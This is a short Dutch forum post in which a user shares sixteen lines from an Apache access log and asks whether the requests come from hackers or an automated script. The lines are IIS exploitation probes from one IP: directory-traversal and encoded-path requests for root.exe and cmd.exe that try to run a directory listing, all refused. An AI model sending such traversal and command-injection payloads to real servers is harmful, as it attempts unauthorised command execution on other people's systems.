kheb net voor het eerst naar het bestand access.log in apache/logs gekeken en zag dat er iets vrij verdachts in staat, nl:
en dit geldt voor nog een aantal ip adressen en vrij vaak per dag. Zijn hier nou een aantal hackers bezig of is dit een of ander script dat dit uitvoert?
Niet dat ik er last van heb, maar ik wil 't gewoon ff weten...
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| 213.51.65.183 - - [25/Oct/2001:14:48:05 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 317 213.51.65.183 - - [25/Oct/2001:14:48:06 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 315 213.51.65.183 - - [25/Oct/2001:14:48:07 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 325 213.51.65.183 - - [25/Oct/2001:14:48:08 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 325 213.51.65.183 - - [25/Oct/2001:14:48:09 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339 213.51.65.183 - - [25/Oct/2001:14:48:10 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 356 213.51.65.183 - - [25/Oct/2001:14:48:10 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 356 213.51.65.183 - - [25/Oct/2001:14:48:11 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 372 213.51.65.183 - - [25/Oct/2001:14:48:12 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338 213.51.65.183 - - [25/Oct/2001:14:48:12 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338 213.51.65.183 - - [25/Oct/2001:14:48:13 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338 213.51.65.183 - - [25/Oct/2001:14:48:14 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338 213.51.65.183 - - [25/Oct/2001:14:48:14 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 322 213.51.65.183 - - [25/Oct/2001:14:48:14 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 322 213.51.65.183 - - [25/Oct/2001:14:48:15 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339 213.51.65.183 - - [25/Oct/2001:14:48:15 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339 |
en dit geldt voor nog een aantal ip adressen en vrij vaak per dag. Zijn hier nou een aantal hackers bezig of is dit een of ander script dat dit uitvoert?
Niet dat ik er last van heb, maar ik wil 't gewoon ff weten...